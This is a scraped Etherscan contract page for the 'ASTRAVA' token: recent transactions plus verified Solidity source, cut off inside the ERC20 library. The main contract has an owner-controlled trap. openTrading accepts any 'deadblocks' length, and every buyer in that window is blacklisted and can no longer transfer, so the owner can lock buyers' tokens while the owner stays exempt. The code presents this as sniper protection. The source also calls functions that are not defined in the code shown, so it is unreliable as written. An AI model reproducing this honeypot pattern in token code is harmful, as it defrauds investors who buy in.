ETH Price: $2,308.41 (-0.44%)

Contract

0xEFAf97E763390274b33e20cfD3034BED3C880db3
 

Overview

ETH Balance

0.026152646150530782 ETH

Eth Value

$60.37 (@ $2,308.41/ETH)

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve200627802024-06-10 16:59:5999 days ago1718038799IN
0xEFAf97E7...D3C880db3
0 ETH0.0009630620.66306926
Approve200627732024-06-10 16:58:3599 days ago1718038715IN
0xEFAf97E7...D3C880db3
0 ETH0.00095120.40429941
Approve200627732024-06-10 16:58:3599 days ago1718038715IN
0xEFAf97E7...D3C880db3
0 ETH0.00095120.40429941
Approve200627732024-06-10 16:58:3599 days ago1718038715IN
0xEFAf97E7...D3C880db3
0 ETH0.00095120.40429941
Approve200627732024-06-10 16:58:3599 days ago1718038715IN
0xEFAf97E7...D3C880db3
0 ETH0.0030483665.40429941
Update Fees200627722024-06-10 16:58:2399 days ago1718038703IN
0xEFAf97E7...D3C880db3
0 ETH0.0006762115.43584645
Approve200627722024-06-10 16:58:2399 days ago1718038703IN
0xEFAf97E7...D3C880db3
0 ETH0.0007802916.84584645
Approve200627722024-06-10 16:58:2399 days ago1718038703IN
0xEFAf97E7...D3C880db3
0 ETH0.0009478120.33584645
Approve200627722024-06-10 16:58:2399 days ago1718038703IN
0xEFAf97E7...D3C880db3
0 ETH0.0018799740.33584645
Approve200627722024-06-10 16:58:2399 days ago1718038703IN
0xEFAf97E7...D3C880db3
0 ETH0.0030451765.33584645
Approve200627712024-06-10 16:58:1199 days ago1718038691IN
0xEFAf97E7...D3C880db3
0 ETH0.0009664320.73548906
Approve200627712024-06-10 16:58:1199 days ago1718038691IN
0xEFAf97E7...D3C880db3
0 ETH0.0009664320.73548906
Approve200627712024-06-10 16:58:1199 days ago1718038691IN
0xEFAf97E7...D3C880db3
0 ETH0.0009664320.73548906
Approve200627712024-06-10 16:58:1199 days ago1718038691IN
0xEFAf97E7...D3C880db3
0 ETH0.0009664320.73548906
Approve200627712024-06-10 16:58:1199 days ago1718038691IN
0xEFAf97E7...D3C880db3
0 ETH0.0014325130.73548906
Approve200627712024-06-10 16:58:1199 days ago1718038691IN
0xEFAf97E7...D3C880db3
0 ETH0.0016655535.73548906
Approve200627712024-06-10 16:58:1199 days ago1718038691IN
0xEFAf97E7...D3C880db3
0 ETH0.00539419115.73548906
Approve200627712024-06-10 16:58:1199 days ago1718038691IN
0xEFAf97E7...D3C880db3
0 ETH0.00539419115.73548906
Approve200627702024-06-10 16:57:5999 days ago1718038679IN
0xEFAf97E7...D3C880db3
0 ETH0.0007949817.05687821
Approve200627702024-06-10 16:57:5999 days ago1718038679IN
0xEFAf97E7...D3C880db3
0 ETH0.0008648918.55687821
Approve200627702024-06-10 16:57:5999 days ago1718038679IN
0xEFAf97E7...D3C880db3
0 ETH0.0008648918.55687821
Approve200627692024-06-10 16:57:4799 days ago1718038667IN
0xEFAf97E7...D3C880db3
0 ETH0.0007328815.72436681
Approve200627692024-06-10 16:57:4799 days ago1718038667IN
0xEFAf97E7...D3C880db3
0 ETH0.0007524316.24436681
Approve200627692024-06-10 16:57:4799 days ago1718038667IN
0xEFAf97E7...D3C880db3
0 ETH0.0007524316.24436681
Approve200627692024-06-10 16:57:4799 days ago1718038667IN
0xEFAf97E7...D3C880db3
0 ETH0.000872718.72436681
View all transactions

Latest 5 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
200627742024-06-10 16:58:4799 days ago1718038727
0xEFAf97E7...D3C880db3
0.02615264 ETH
200627742024-06-10 16:58:4799 days ago1718038727
0xEFAf97E7...D3C880db3
0.06534402 ETH
200627742024-06-10 16:58:4799 days ago1718038727
0xEFAf97E7...D3C880db3
0.04228392 ETH
200627742024-06-10 16:58:4799 days ago1718038727
0xEFAf97E7...D3C880db3
0.10762794 ETH
200627312024-06-10 16:49:5999 days ago1718038199
0xEFAf97E7...D3C880db3
8 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ASTRAVA

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 11 : Astrava.sol
// SPDX-License-Identifier: MIT
/*
          _____                    _____                _____                    _____                    _____                    _____                    _____          
         /\    \                  /\    \              /\    \                  /\    \                  /\    \                  /\    \                  /\    \         
        /::\    \                /::\    \            /::\    \                /::\    \                /::\    \                /::\____\                /::\    \        
       /::::\    \              /::::\    \           \:::\    \              /::::\    \              /::::\    \              /:::/    /               /::::\    \       
      /::::::\    \            /::::::\    \           \:::\    \            /::::::\    \            /::::::\    \            /:::/    /               /::::::\    \      
     /:::/\:::\    \          /:::/\:::\    \           \:::\    \          /:::/\:::\    \          /:::/\:::\    \          /:::/    /               /:::/\:::\    \     
    /:::/__\:::\    \        /:::/__\:::\    \           \:::\    \        /:::/__\:::\    \        /:::/__\:::\    \        /:::/____/               /:::/__\:::\    \    
   /::::\   \:::\    \       \:::\   \:::\    \          /::::\    \      /::::\   \:::\    \      /::::\   \:::\    \       |::|    |               /::::\   \:::\    \   
  /::::::\   \:::\    \    ___\:::\   \:::\    \        /::::::\    \    /::::::\   \:::\    \    /::::::\   \:::\    \      |::|    |     _____    /::::::\   \:::\    \  
 /:::/\:::\   \:::\    \  /\   \:::\   \:::\    \      /:::/\:::\    \  /:::/\:::\   \:::\____\  /:::/\:::\   \:::\    \     |::|    |    /\    \  /:::/\:::\   \:::\    \ 
/:::/  \:::\   \:::\____\/::\   \:::\   \:::\____\    /:::/  \:::\____\/:::/  \:::\   \:::|    |/:::/  \:::\   \:::\____\    |::|    |   /::\____\/:::/  \:::\   \:::\____\
\::/    \:::\  /:::/    /\:::\   \:::\   \::/    /   /:::/    \::/    /\::/   |::::\  /:::|____|\::/    \:::\  /:::/    /    |::|    |  /:::/    /\::/    \:::\  /:::/    /
 \/____/ \:::\/:::/    /  \:::\   \:::\   \/____/   /:::/    / \/____/  \/____|:::::\/:::/    /  \/____/ \:::\/:::/    /     |::|    | /:::/    /  \/____/ \:::\/:::/    / 
          \::::::/    /    \:::\   \:::\    \      /:::/    /                 |:::::::::/    /            \::::::/    /      |::|____|/:::/    /            \::::::/    /  
           \::::/    /      \:::\   \:::\____\    /:::/    /                  |::|\::::/    /              \::::/    /       |:::::::::::/    /              \::::/    /   
           /:::/    /        \:::\  /:::/    /    \::/    /                   |::| \::/____/               /:::/    /        \::::::::::/____/               /:::/    /    
          /:::/    /          \:::\/:::/    /      \/____/                    |::|  ~|                    /:::/    /          ~~~~~~~~~~                    /:::/    /     
         /:::/    /            \::::::/    /                                  |::|   |                   /:::/    /                                        /:::/    /      
        /:::/    /              \::::/    /                                   \::|   |                  /:::/    /                                        /:::/    /       
        \::/    /                \::/    /                                     \:|   |                  \::/    /                                         \::/    /        
         \/____/                  \/____/                                       \|___|                   \/____/                                           \/____/         
                                                                                                                                                                      
*******************************************************
*                                                     *
*               ASTRAVA RESOURCES                     *
*                                                     *
*******************************************************
*                                                     *
* 🌐 WEBSITE       :  https://astrava.finance/         *
* 📚 Docs          :  https://docs.astrava.finance/     *
* 📊 Dashboard     :  https://astrava.finance/deposit/  *
* 💬 Telegram      :  https://t.me/astravafinance       *
* 🐦 X-(Twitter)   :  https://x.com/astravafinance     *
*                                                     *
*******************************************************

*/

pragma solidity 0.8.7;

import "./ERC20.sol";
import "./Address.sol";
import "./Ownable.sol";
import "./IUniswapV2Factory.sol";
import "./IUniswapV2Pair.sol";
import "./IUniswapV2Router02.sol";


contract ASTRAVA is ERC20, Ownable {

    IUniswapV2Router02 private _uniswapV2Router;
    address private _uniswapV2Pair;    
    address private _feeWallet;

    bool private _swapping;
    bool public limitsInEffect;
    bool private _isTradingActive;

    uint256 private _startAt;
    uint256 private _deadBlocks;
    
    uint256 public maxTxAmount;
    uint256 public maxWallet;

    uint256 public swapTokensAtAmount;

    uint256 public buyFees;
    uint256 public sellFees;

    uint256 private _buyMarketingFee;
    uint256 private _buyLiquidityFee;

    uint256 private _sellMarketingFee;
    uint256 private _sellLiquidityFee;

    uint256 private _tokensForMarketing;
    uint256 private _tokensForLiquidity;

    // exlcude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTxAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    // blacklist snipers
    mapping(address => bool) public blacklist;
    
    // Events
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event FeeWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    event SwapBack ();

    constructor() ERC20("Astrava", "Astrava") {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);        
        _uniswapV2Pair = address(0);

        // Total supply 500,000
        uint256 totalSupply = 5e5 * 1e18;

        // Set default fees
        _buyMarketingFee = 1;
        _buyLiquidityFee = 2;

        _sellMarketingFee = 1;
        _sellLiquidityFee = 2;

        // Set fees for buy and sell side
        buyFees = _buyMarketingFee + _buyLiquidityFee;
        sellFees = _sellMarketingFee + _sellLiquidityFee;

        // Disable trading
        _isTradingActive = false;
        _startAt = 0;
        _deadBlocks = 2;
        limitsInEffect = true;

        // Set default limits
        maxTxAmount = (totalSupply * 20) / 1000; // 2% of total supply
        maxWallet = (totalSupply * 20) / 1000; // 2% of total supply

        // Set default fee wallet 
        _feeWallet = address(owner());

        // Set auto lp limit
        swapTokensAtAmount = (totalSupply * 30) / 10000;

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        // Mint the initial supply to the contract.
        _totalSupply += totalSupply;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[address(this)] += totalSupply;
        }
        emit Transfer(address(0), address(this), totalSupply);

    }

    function addLiquidity() external onlyOwner {        
        require(_uniswapV2Pair == address(0), "Pair already created");

        // Create pair
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        // Store the pair            
        _setAutomatedMarketMakerPair(address(_uniswapV2Pair), true);
        // Add liquidity
        _addLiquidity(balanceOf(address(this)), address(this).balance);
    }

    function openTrading(uint256 deadblocks) external onlyOwner {
        require(!_isTradingActive, "Trade is already open");

        _isTradingActive = true;
        _deadBlocks = deadblocks;
        _startAt = block.number;
    }

    function removeLimit() external onlyOwner {
        limitsInEffect = false;
    }

    function isC0ntract(address addr) private returns (bool) {
        return (tx.origin != msg.sender);
    }

    function updateLimit(uint256 _maxTxAmount, uint256 _maxWallet) external onlyOwner {
        require(limitsInEffect, "Cannot change at this stage");
        // Max TX amount cannot be less than 0.1%
        require(_maxTxAmount > ((totalSupply() * 1) / 1000), "Max TX is too low");
        // Max wallet cannot be less than 1%
        require(_maxWallet > ((totalSupply() * 10) / 1000), "Max wallet is too low");

        maxTxAmount = _maxTxAmount;
        maxWallet = _maxWallet;
    }

    function removeFromBlacklist(address account) external onlyOwner {
        require(blacklist[account] == true, "Account is not in the blacklist");
        blacklist[account] = false;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }

    function updateFees(uint256 buyMarketingFee, uint256 buyLiquidityFee, uint256 sellMarketingFee, uint256 sellLiquidityFee)
        external
        onlyOwner
    {
        _buyMarketingFee = buyMarketingFee;
        _buyLiquidityFee = buyLiquidityFee;

        _sellMarketingFee = sellMarketingFee;
        _sellLiquidityFee = sellLiquidityFee;

        buyFees = _buyMarketingFee + _buyLiquidityFee;
        sellFees = _sellMarketingFee + _sellLiquidityFee;

        require(buyFees <= 50, "Must keep fees at 5% or less");
        require(sellFees <= 50, "Must keep fees at 5% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function excludeFromMaxTransaction(address account, bool excluded)
        public
        onlyOwner
    {
        _isExcludedMaxTxAmount[account] = excluded;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!blacklist[from], "ERC20: transfer from blacklisted account");
        require(amount > 0, "ERC20: amount must be greater than 0");

        if (!(_isExcludedFromFees[from] || _isExcludedFromFees[to])) require(_isTradingActive, "Trading is not active");
        
        uint256 totalTokensForSwap = _tokensForLiquidity + _tokensForMarketing;
        bool canSwap = totalTokensForSwap >= swapTokensAtAmount;
        if (
            canSwap &&
            !_swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            _swapping = true;
            swapBack();
            _swapping = false;
        }

        bool takeFee = !_swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        if (
            (!_isExcludedMaxTxAmount[from] && !_isExcludedMaxTxAmount[to]) &&
            (limitsInEffect && takeFee)
        ) {
            require(
                amount <= maxTxAmount,
                "Max transaction amount exceeded"
            );
            if (automatedMarketMakerPairs[from]) {
                require(
                    (amount + balanceOf(to)) <= maxWallet,
                    "Max wallet amount exceeded"
                );
            }
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // when buy
            if (automatedMarketMakerPairs[from] && !isContract(to)) {
            //if (automatedMarketMakerPairs[from] && notContract(from)) {
                if ((block.number < _startAt + _deadBlocks)) {
                    blacklist[to] = true;
                }
                fees = (amount * buyFees) / 1000;

                _tokensForLiquidity += (fees * _buyLiquidityFee) / buyFees;
                _tokensForMarketing += (fees * _buyMarketingFee) / buyFees;
            } 
            // when sell
            else if (automatedMarketMakerPairs[to]) {
                fees = (amount * sellFees) / 1000;

                _tokensForLiquidity += (fees * _sellLiquidityFee) / sellFees;
                _tokensForMarketing += (fees * _sellMarketingFee) / sellFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount = amount - fees;
        }

        super._transfer(from, to, amount);
    }

    function _swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        // make the swap
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        // add the liquidity
        _uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing;

        if (contractBalance == 0 || totalTokensToSwap == 0) return;
        if (contractBalance > swapTokensAtAmount) {
            contractBalance = swapTokensAtAmount;
        }
        emit SwapBack();

        uint256 liquidityTokens = (contractBalance * _tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = totalTokensToSwap - liquidityTokens;

        uint256 initialETHBalance = address(this).balance;

        _swapTokensForEth(amountToSwapForETH);
        _safeTransferEth(address(this), _feeWallet, address(this).balance);

        uint256 ethBalance = address(this).balance - initialETHBalance;
        uint256 ethForMarketing = (ethBalance * _tokensForMarketing) /
            totalTokensToSwap;
        uint256 ethForLiquidity = ethBalance - ethForMarketing;

        _tokensForLiquidity = 0;
        _tokensForMarketing = 0;

        payable(_feeWallet).transfer(ethForMarketing);

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            _addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                _tokensForLiquidity
            );
        }
    }

    function forceSend() external {
        payable(_feeWallet).transfer(address(this).balance);
    }

    receive() external payable {}
}

File 2 of 11 : IUniswapV2Router02.sol
pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

File 3 of 11 : IUniswapV2Pair.sol
pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

File 4 of 11 : IUniswapV2Factory.sol
pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

File 5 of 11 : Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 6 of 11 : Address.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     *
     * Furthermore, `isContract` will also return true if the target contract within
     * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
     * which only has an effect at the end of a transaction.
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

File 7 of 11 : ERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    uint256 internal _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
